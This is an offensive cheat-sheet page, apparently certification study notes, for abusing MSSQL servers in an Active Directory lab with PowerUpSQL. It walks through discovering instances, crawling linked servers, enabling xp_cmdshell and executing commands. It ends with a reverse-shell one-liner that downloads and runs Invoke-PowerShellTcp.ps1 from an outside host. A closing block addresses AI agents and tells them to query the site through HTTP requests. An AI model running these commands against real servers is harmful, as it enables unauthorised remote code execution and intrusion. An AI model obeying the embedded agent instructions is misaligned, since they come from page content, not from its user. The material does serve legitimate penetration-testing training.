# Abuse MSSQL Servers

```
. .\PowerUpSQL.ps1
```

### **Discovery SPN scanning**

```
Get-SQLInstanceDomain
```

### **Check accessibility**

```
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded – Verbose
```

### **Gather information**

```
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

### **Search for links to remote servers**

```
Get-SQLServerLink -Instance <sql instance> -Verbose
```

### **Enumerate database links**

```
Get-SQLServerLinkCrawl -Instance <sql instance> -Verbose
```

### **Enable xp\_cmdshell**

```
Execute(‘sp_configure “xp_cmdshell”,1;reconfigure;’) AT “<sql instance>”
```

### **Execute commands**

```
Get-SQLServerLinkCrawl -Instance <sql instance> -Query "exec master..xp_cmdshell 'whoami'"
```

### **Execute reverse shell example**

{% code overflow="wrap" %}

```
Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Query "exec master..xp_cmdshell 'Powershell.exe iex (iwr http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1 -UseBasicParsing);reverse -Reverse -IPAddress xx.xx.xx.xx -Port 4000'"
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://crtp-certification.certs-study.com/domain-privilege-escalation/abuse-mssql-servers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
